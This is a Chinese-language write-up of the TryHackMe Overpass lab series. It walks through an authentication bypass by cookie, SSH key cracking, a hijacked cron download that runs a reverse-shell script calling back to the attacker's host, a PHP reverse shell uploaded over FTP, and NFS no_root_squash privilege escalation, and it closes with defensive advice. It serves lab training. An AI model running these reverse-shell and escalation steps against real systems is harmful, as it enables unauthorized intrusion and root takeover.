THM 靶场 — Overpass-writeup
字数 1609 2025-08-22 12:22:54

Overpass靶场渗透测试教学文档

1. Overpass 1 靶场渗透

1.1 初始信息收集

  1. 端口扫描

    • 使用nmap扫描发现开放端口:22(SSH)、80(HTTP)
    • 命令:nmap -sV -p- <target_ip>
  2. Web服务枚举

    • 访问80端口Web服务
    • 重要页面:
      • About Us:收集员工姓名(潜在用户名)
      • Downloads:查看可下载的软件和源码
    • 目录爆破发现重要路由:/admin

1.2 获取初始访问权限

  1. 利用登录页面漏洞

    • 检查/admin页面的login.js文件
    • 发现可通过设置特定Cookie绕过认证:
      curl http://<target_ip>/admin/ --cookie "SessionToken=statusOrCookie"
      
    • 响应中包含SSH私钥
  2. 破解SSH私钥

    • 使用ssh2john转换私钥格式:
      python ssh2john.py id_rsa > id_rsa.hash
      
    • 使用John破解私钥密码:
      john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
      
    • 使用破解的密码登录SSH:
      ssh -i id_rsa james@<target_ip>
      

1.3 权限提升

  1. 查找提权路径

    • 检查定时任务:
      crontab -l
      
    • 发现root用户定期执行curl下载并运行脚本:
      curl http://<target_ip>/downloads/src/buildscript.sh | bash
      
  2. 设置恶意脚本

    • 在本地创建恶意脚本:
      mkdir -p downloads/src
      echo '#!/bin/bash' > downloads/src/buildscript.sh
      echo 'bash -i >& /dev/tcp/<your_ip>/5678 0>&1' >> downloads/src/buildscript.sh
      
    • 启动Python HTTP服务器:
      python3 -m http.server 80
      
    • 修改目标主机/etc/hosts文件,将域名解析到攻击者IP
  3. 获取root shell

    • 在攻击机启动监听:
      nc -lvnp 5678
      
    • 等待定时任务执行,获取root shell

2. Overpass 2-Hacked 靶场取证

2.1 流量分析

  1. 上传反向shell的URL

    • 在Wireshark中过滤HTTP流量
    • 查找文件上传请求
  2. 攻击载荷分析

    • 追踪文件上传流,查看上传的反向shell内容
  3. 凭证提取

    • 过滤TCP流量,搜索"password"字符串
    • 找到攻击者使用的密码

2.2 持久性机制

  1. 后门安装

    • 发现攻击者使用git克隆SSH后门:
      git clone https://github.com/NinjaJc01/ssh-backdoor
      
  2. 密码破解

    • 从流量中提取/etc/passwd文件
    • 使用John破解:
      john --wordlist=/usr/share/wordlists/fasttrack.txt passwd
      
    • 发现4个可破解的系统密码

2.3 后门分析

  1. 哈希分析

    • 查找后门的默认哈希值
    • 查找硬编码的盐值
    • 提取攻击者使用的哈希值
  2. 密码破解

    • 使用rockyou字典破解哈希:
      john --wordlist=/usr/share/wordlists/rockyou.txt hashfile
      
  3. 网站污损

    • 访问目标Web服务,查看攻击者留下的标题信息

3. Overpass 3-Hosting 靶场渗透

3.1 初始信息收集

  1. 端口扫描

    • 发现开放端口:21(FTP)、22(SSH)、80(HTTP)
  2. Web目录爆破

    • 发现/backups目录
    • 下载backup.zip文件

3.2 文件解密

  1. GPG解密
    • 导入私钥:
      gpg --import priv.key
      
    • 解密文件:
      gpg --decrypt CustomerDetails.xlsx.gpg > CustomerDetails.xlsx
      
    • 获得凭证:paradox:ShibesAreGreat123

3.3 FTP利用

  1. FTP登录

    ftp <target_ip>
    
    • 使用获得的凭证登录
  2. 上传反向shell

    • 上传PHP反向shell到Web目录
    • 通过Web访问触发反向shell

3.4 权限提升

  1. NFS提权

    • 使用linpeas.sh发现NFS配置漏洞
    • 发现no_root_squash选项启用
  2. 端口转发

    • 转发NFS端口到本地:
      ssh -fN -L 4090:localhost:2049 -i paradox paradox@<target_ip>
      
  3. 挂载NFS

    sudo mount -t nfs -o port=4090 127.0.0.1:/ /tmp/nfs
    
  4. 创建SUID二进制

    • 在挂载点创建恶意二进制:
      cp /bin/bash /tmp/nfs/cxcx
      chown root.root /tmp/nfs/cxcx
      chmod +s /tmp/nfs/cxcx
      
    • 在目标主机执行:
      ./cxcx -p
      
    • 获取root权限

关键工具总结

  1. 扫描工具

    • nmap:端口扫描和服务识别
    • dirb/gobuster:Web目录爆破
  2. 密码破解

    • ssh2john + john:破解SSH私钥密码
    • john:破解系统密码和哈希
  3. 后渗透工具

    • linpeas.sh:Linux权限提升枚举
    • Python HTTP服务器:托管恶意文件
  4. 流量分析

    • Wireshark:PCAP文件分析
  5. 加密解密

    • gpg:文件加密解密

防御建议

  1. 安全配置

    • 禁用不必要的服务(NFS、FTP等)
    • 正确配置共享目录权限
  2. 认证安全

    • 使用强密码策略
    • 禁用SSH密码认证,使用密钥认证
  3. 代码安全

    • 不在客户端存储敏感信息(如login.js中的认证逻辑)
    • 对用户输入进行严格过滤
  4. 监控

    • 监控异常网络流量(如反向shell连接)
    • 定期检查系统日志和文件完整性
Overpass靶场渗透测试教学文档 1. Overpass 1 靶场渗透 1.1 初始信息收集 端口扫描 : 使用nmap扫描发现开放端口:22(SSH)、80(HTTP) 命令: nmap -sV -p- <target_ip> Web服务枚举 : 访问80端口Web服务 重要页面: About Us:收集员工姓名(潜在用户名) Downloads:查看可下载的软件和源码 目录爆破发现重要路由:/admin 1.2 获取初始访问权限 利用登录页面漏洞 : 检查 /admin 页面的 login.js 文件 发现可通过设置特定Cookie绕过认证: 响应中包含SSH私钥 破解SSH私钥 : 使用 ssh2john 转换私钥格式: 使用John破解私钥密码: 使用破解的密码登录SSH: 1.3 权限提升 查找提权路径 : 检查定时任务: 发现root用户定期执行curl下载并运行脚本: 设置恶意脚本 : 在本地创建恶意脚本: 启动Python HTTP服务器: 修改目标主机 /etc/hosts 文件,将域名解析到攻击者IP 获取root shell : 在攻击机启动监听: 等待定时任务执行,获取root shell 2. Overpass 2-Hacked 靶场取证 2.1 流量分析 上传反向shell的URL : 在Wireshark中过滤HTTP流量 查找文件上传请求 攻击载荷分析 : 追踪文件上传流,查看上传的反向shell内容 凭证提取 : 过滤TCP流量,搜索"password"字符串 找到攻击者使用的密码 2.2 持久性机制 后门安装 : 发现攻击者使用git克隆SSH后门: 密码破解 : 从流量中提取 /etc/passwd 文件 使用John破解: 发现4个可破解的系统密码 2.3 后门分析 哈希分析 : 查找后门的默认哈希值 查找硬编码的盐值 提取攻击者使用的哈希值 密码破解 : 使用rockyou字典破解哈希: 网站污损 : 访问目标Web服务,查看攻击者留下的标题信息 3. Overpass 3-Hosting 靶场渗透 3.1 初始信息收集 端口扫描 : 发现开放端口:21(FTP)、22(SSH)、80(HTTP) Web目录爆破 : 发现 /backups 目录 下载 backup.zip 文件 3.2 文件解密 GPG解密 : 导入私钥: 解密文件: 获得凭证:paradox:ShibesAreGreat123 3.3 FTP利用 FTP登录 : 使用获得的凭证登录 上传反向shell : 上传PHP反向shell到Web目录 通过Web访问触发反向shell 3.4 权限提升 NFS提权 : 使用 linpeas.sh 发现NFS配置漏洞 发现 no_root_squash 选项启用 端口转发 : 转发NFS端口到本地: 挂载NFS : 创建SUID二进制 : 在挂载点创建恶意二进制: 在目标主机执行: 获取root权限 关键工具总结 扫描工具 : nmap:端口扫描和服务识别 dirb/gobuster:Web目录爆破 密码破解 : ssh2john + john:破解SSH私钥密码 john:破解系统密码和哈希 后渗透工具 : linpeas.sh:Linux权限提升枚举 Python HTTP服务器:托管恶意文件 流量分析 : Wireshark:PCAP文件分析 加密解密 : gpg:文件加密解密 防御建议 安全配置 : 禁用不必要的服务(NFS、FTP等) 正确配置共享目录权限 认证安全 : 使用强密码策略 禁用SSH密码认证,使用密钥认证 代码安全 : 不在客户端存储敏感信息(如login.js中的认证逻辑) 对用户输入进行严格过滤 监控 : 监控异常网络流量(如反向shell连接) 定期检查系统日志和文件完整性